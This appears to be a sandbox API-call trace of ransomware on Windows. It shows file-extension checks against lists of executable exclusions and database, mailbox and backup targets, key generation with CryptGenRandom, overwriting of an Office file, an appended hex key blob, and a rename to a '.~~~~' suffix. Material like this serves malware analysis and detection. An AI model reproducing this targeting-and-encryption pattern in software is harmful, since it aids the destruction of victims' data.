	[0136.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".lnk") returned 0x0
	[0136.585] lstrlenW (lpString=".msp") returned 4
	[0136.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".msp") returned 0x0
	[0136.585] lstrlenW (lpString=".pif") returned 4
	[0136.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".pif") returned 0x0
	[0136.585] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0136.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch="msp\r\n.pif") returned 0x0
	[0136.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlperf.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0136.588] lstrlenW (lpString=".sqb") returned 4
	[0136.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".sqb") returned 0x0
	[0136.588] lstrlenW (lpString=".ost") returned 4
	[0136.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".ost") returned 0x0
	[0136.588] lstrlenW (lpString=".txt") returned 4
	[0136.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".txt") returned 0x0
	[0136.588] lstrlenW (lpString=".mdt") returned 4
	[0136.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".mdt") returned 0x0
	[0136.588] lstrlenW (lpString=".BDB") returned 4
	[0136.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".BDB") returned 0x0
	[0136.588] lstrlenW (lpString=".eql") returned 4
	[0136.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".eql") returned 0x0
	[0136.589] lstrlenW (lpString=".DBF") returned 4
	[0136.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".DBF") returned 0x0
	[0136.589] lstrlenW (lpString=".EQL") returned 4
	[0136.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".EQL") returned 0x0
	[0136.589] lstrlenW (lpString=".FDB") returned 4
	[0136.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".FDB") returned 0x0
	[0136.589] lstrlenW (lpString=".EDB") returned 4
	[0136.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".EDB") returned 0x0
	[0136.589] lstrlenW (lpString=".DACPAC") returned 7
	[0136.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".DACPAC") returned 0x0
	[0136.589] lstrlenW (lpString=".VHD") returned 4
	[0136.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".VHD") returned 0x0
	[0136.589] lstrlenW (lpString=".DBV") returned 4
	[0136.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".DBV") returned 0x0
	[0136.589] lstrlenW (lpString=".dacpac") returned 7
	[0136.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".dacpac") returned 0x0
	[0136.589] lstrlenW (lpString=".sdf") returned 4
	[0136.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".sdf") returned 0x0
	[0136.589] lstrlenW (lpString=".accdb") returned 6
	[0136.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".accdb") returned 0x0
	[0136.589] lstrlenW (lpString=".DBX") returned 4
	[0136.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".DBX") returned 0x0
	[0136.589] lstrlenW (lpString=".MDT") returned 4
	[0136.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".MDT") returned 0x0
	[0136.590] lstrlenW (lpString=".SQB") returned 4
	[0136.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".SQB") returned 0x0
	[0136.590] lstrlenW (lpString=".vhd") returned 4
	[0136.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".vhd") returned 0x0
	[0136.590] lstrlenW (lpString=".bac") returned 4
	[0136.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".bac") returned 0x0
	[0136.590] lstrlenW (lpString=".mdf") returned 4
	[0136.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".mdf") returned 0x0
	[0136.590] lstrlenW (lpString=".BAK") returned 4
	[0136.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".BAK") returned 0x0
	[0136.590] lstrlenW (lpString=".BAC") returned 4
	[0136.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".BAC") returned 0x0
	[0136.590] lstrlenW (lpString=".dbs") returned 4
	[0136.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".dbs") returned 0x0
	[0136.590] lstrlenW (lpString=".vhdx") returned 5
	[0136.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".vhdx") returned 0x0
	[0136.590] lstrlenW (lpString=".NDF") returned 4
	[0136.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".NDF") returned 0x0
	[0136.590] lstrlenW (lpString=".dat") returned 4
	[0136.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".dat") returned 0x0
	[0136.590] lstrlenW (lpString=".DBS") returned 4
	[0136.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".DBS") returned 0x0
	[0136.591] lstrlenW (lpString=".CKP") returned 4
	[0136.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".CKP") returned 0x0
	[0136.591] lstrlenW (lpString=".edb") returned 4
	[0136.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".edb") returned 0x0
	[0136.591] lstrlenW (lpString=".PST") returned 4
	[0136.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".PST") returned 0x0
	[0136.591] lstrlenW (lpString=".dbf") returned 4
	[0136.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".dbf") returned 0x0
	[0136.591] lstrlenW (lpString=".SQL") returned 4
	[0136.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".SQL") returned 0x0
	[0136.591] lstrlenW (lpString=".pst") returned 4
	[0136.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".pst") returned 0x0
	[0136.591] lstrlenW (lpString=".dbv") returned 4
	[0136.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".dbv") returned 0x0
	[0136.591] lstrlenW (lpString=".SDF") returned 4
	[0136.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".SDF") returned 0x0
	[0136.591] lstrlenW (lpString=".dtxs") returned 5
	[0136.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".dtxs") returned 0x0
	[0136.591] lstrlenW (lpString=".db3") returned 4
	[0136.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".db3") returned 0x0
	[0136.591] lstrlenW (lpString=".OST") returned 4
	[0136.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".OST") returned 0x0
	[0136.591] lstrlenW (lpString=".dbx") returned 4
	[0136.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".dbx") returned 0x0
	[0136.592] lstrlenW (lpString=".DB3") returned 4
	[0136.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".DB3") returned 0x0
	[0136.592] lstrlenW (lpString=".DAT") returned 4
	[0136.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".DAT") returned 0x0
	[0136.592] lstrlenW (lpString=".VHDX") returned 5
	[0136.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".VHDX") returned 0x0
	[0136.592] lstrlenW (lpString=".ndf") returned 4
	[0136.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".ndf") returned 0x0
	[0136.592] lstrlenW (lpString=".DB") returned 3
	[0136.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".DB") returned 0x0
	[0136.592] lstrlenW (lpString=".sql") returned 4
	[0136.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".sql") returned 0x0
	[0136.592] lstrlenW (lpString=".MYD") returned 4
	[0136.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".MYD") returned 0x0
	[0136.592] lstrlenW (lpString=".DBT") returned 4
	[0136.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".DBT") returned 0x0
	[0136.592] lstrlenW (lpString=".ACCDB") returned 6
	[0136.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".ACCDB") returned 0x0
	[0136.592] lstrlenW (lpString=".fdb") returned 4
	[0136.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".fdb") returned 0x0
	[0136.592] lstrlenW (lpString=".bak") returned 4
	[0136.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".bak") returned 0x0
	[0136.592] lstrlenW (lpString=".myd") returned 4
	[0136.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".myd") returned 0x0
	[0136.593] lstrlenW (lpString=".DTXS") returned 5
	[0136.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".DTXS") returned 0x0
	[0136.593] lstrlenW (lpString=".ckp") returned 4
	[0136.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".ckp") returned 0x0
	[0136.593] lstrlenW (lpString=".dbt") returned 4
	[0136.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".dbt") returned 0x0
	[0136.593] lstrlenW (lpString=".db") returned 3
	[0136.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".db") returned 0x0
	[0136.593] lstrlenW (lpString=".TXT") returned 4
	[0136.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".TXT") returned 0x0
	[0136.593] lstrlenW (lpString=".MDF") returned 4
	[0136.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".MDF") returned 0x0
	[0136.594] lstrlenW (lpString=".bdb") returned 4
	[0136.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".bdb") returned 0x0
	[0136.594] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0136.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0136.594] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0136.594] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0136.594] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394a80) returned 1
	[0136.595] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0136.595] CryptReleaseContext (hProv=0x394a80, dwFlags=0x0) returned 1
	[0136.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0136.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0136.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0136.596] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25658587568) returned 1
	[0136.596] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbadbe7f0, dwHighDateTime=0x1d60e1e)) 
	[0136.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0136.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0136.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0136.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4f58
	[0136.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0136.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4f58 | out: hHeap=0x300000) returned 1
	[0136.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0136.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0136.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0136.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0136.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb960
	[0136.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0136.597] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0136.597] GetLastError () returned 0x0
	[0136.597] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0136.597] GetLastError () returned 0x0
	[0136.600] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffff579, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.600] WriteFile (in: hFile=0xc4, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0xa87, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x25dfec0*=0xa87, lpOverlapped=0x0) returned 1
	[0136.600] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0136.600] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.600] WriteFile (in: hFile=0xc4, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0136.600] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0136.600] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0136.600] CloseHandle (hObject=0xc4) returned 1
	[0136.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb960
	[0136.601] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlperf.ini"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlperf.ini.~~~~")) returned 1
	[0136.604] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fb960 | out: hHeap=0x300000) returned 1
	[0136.604] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0136.604] GetLastError () returned 0x0
	[0136.604] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".scr") returned 0x0
	[0136.604] lstrlenW (lpString=".cmd") returned 4
	[0136.604] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".cmd") returned 0x0
	[0136.604] lstrlenW (lpString=".dll") returned 4
	[0136.604] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".dll") returned 0x0
	[0136.604] lstrlenW (lpString=".bat") returned 4
	[0136.604] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".bat") returned 0x0
	[0136.604] lstrlenW (lpString=".cpl") returned 4
	[0136.604] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".cpl") returned 0x0
	[0136.604] lstrlenW (lpString=".sys") returned 4
	[0136.604] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".sys") returned 0x0
	[0136.604] lstrlenW (lpString=".msc") returned 4
	[0136.604] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".msc") returned 0x0
	[0136.604] lstrlenW (lpString=".com") returned 4
	[0136.605] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".com") returned 0x0
	[0136.605] lstrlenW (lpString=".lnk") returned 4
	[0136.605] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".lnk") returned 0x0
	[0136.605] lstrlenW (lpString=".msp") returned 4
	[0136.605] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".msp") returned 0x0
	[0136.605] lstrlenW (lpString=".pif") returned 4
	[0136.605] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".pif") returned 0x0
	[0136.605] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0136.605] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0136.605] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0136.611] lstrlenW (lpString=".sqb") returned 4
	[0136.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".sqb") returned 0x0
	[0136.612] lstrlenW (lpString=".ost") returned 4
	[0136.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".ost") returned 0x0
	[0136.612] lstrlenW (lpString=".txt") returned 4
	[0136.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".txt") returned 0x0
	[0136.612] lstrlenW (lpString=".mdt") returned 4
	[0136.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".mdt") returned 0x0
	[0136.612] lstrlenW (lpString=".BDB") returned 4
	[0136.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".BDB") returned 0x0
	[0136.612] lstrlenW (lpString=".eql") returned 4
	[0136.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".eql") returned 0x0
	[0136.612] lstrlenW (lpString=".DBF") returned 4
	[0136.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".DBF") returned 0x0
	[0136.612] lstrlenW (lpString=".EQL") returned 4
	[0136.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".EQL") returned 0x0
	[0136.612] lstrlenW (lpString=".FDB") returned 4
	[0136.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".FDB") returned 0x0
	[0136.612] lstrlenW (lpString=".EDB") returned 4
	[0136.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".EDB") returned 0x0
	[0136.612] lstrlenW (lpString=".DACPAC") returned 7
	[0136.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".DACPAC") returned 0x0
	[0136.612] lstrlenW (lpString=".VHD") returned 4
	[0136.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".VHD") returned 0x0
	[0136.613] lstrlenW (lpString=".DBV") returned 4
	[0136.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".DBV") returned 0x0
	[0136.613] lstrlenW (lpString=".dacpac") returned 7
	[0136.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".dacpac") returned 0x0
	[0136.613] lstrlenW (lpString=".sdf") returned 4
	[0136.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".sdf") returned 0x0
	[0136.613] lstrlenW (lpString=".accdb") returned 6
	[0136.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".accdb") returned 0x0
	[0136.613] lstrlenW (lpString=".DBX") returned 4
	[0136.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".DBX") returned 0x0
	[0136.613] lstrlenW (lpString=".MDT") returned 4
	[0136.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".MDT") returned 0x0
	[0136.613] lstrlenW (lpString=".SQB") returned 4
	[0136.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".SQB") returned 0x0
	[0136.613] lstrlenW (lpString=".vhd") returned 4
	[0136.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".vhd") returned 0x0
	[0136.613] lstrlenW (lpString=".bac") returned 4
	[0136.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".bac") returned 0x0
	[0136.613] lstrlenW (lpString=".mdf") returned 4
	[0136.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".mdf") returned 0x0
	[0136.613] lstrlenW (lpString=".BAK") returned 4
	[0136.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".BAK") returned 0x0
	[0136.614] lstrlenW (lpString=".BAC") returned 4
	[0136.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".BAC") returned 0x0
	[0136.614] lstrlenW (lpString=".dbs") returned 4
	[0136.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL", lpSrch=".dbs") returned 0x0
	[0136.614] lstrlenW (lpString=".vhdx") returned 5
